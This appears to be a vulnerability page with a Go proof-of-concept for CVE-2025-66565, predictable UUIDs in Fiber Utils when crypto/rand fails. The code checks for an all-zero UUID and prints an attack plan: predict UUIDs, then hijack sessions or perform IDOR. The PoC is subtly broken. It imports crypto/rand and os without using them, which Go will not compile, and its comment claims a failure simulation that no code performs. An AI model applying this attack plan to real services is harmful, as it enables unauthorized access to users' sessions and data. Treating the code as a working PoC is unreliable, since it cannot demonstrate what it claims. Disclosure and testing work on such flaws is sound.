CVE-2025-66565 Fiber Utils加密随机数失败时返回可预测UUID漏洞

// CVE-2025-66565 PoC - Predictable UUID Generation in Fiber Utils // When crypto/rand fails, Fiber Utils returns predictable UUIDs package main import ( "fmt" "github.com/gofiber/utils" "crypto/rand" "os" ) func main() { // Simulate crypto/rand failure by setting environment // In vulnerable version, when crypto/rand fails: // - utils.NewUUID() returns predictable values // - utils.UUID() returns "00000000-0000-0000-0000-000000000000" fmt.Println("CVE-2025-66565 - Fiber Utils Predictable UUID PoC") fmt.Println("==============================================") // Generate UUIDs - in vulnerable version, these may be predictable uuid1 := utils.NewUUID() uuid2 := utils.UUID() fmt.Printf("UUID1: %s\n", uuid1) fmt.Printf("UUID2: %s\n", uuid2) // Check if zero UUID (indicates crypto/rand failure handling issue) if uuid2 == "00000000-0000-0000-0000-000000000000" { fmt.Println("[VULNERABLE] Zero UUID detected - crypto/rand failure not handled") } // Attack scenario: Predict UUIDs to hijack sessions/perform IDOR // 1. Attacker observes predictable UUID pattern // 2. Attacker predicts future UUIDs // 3. Attacker uses predicted UUIDs for unauthorized access fmt.Println("\nAttack Scenario:") fmt.Println("1. Force crypto/rand failure or observe predictable output") fmt.Println("2. Predict next UUID based on pattern") fmt.Println("3. Use predicted UUID for session hijacking/IDOR attacks") }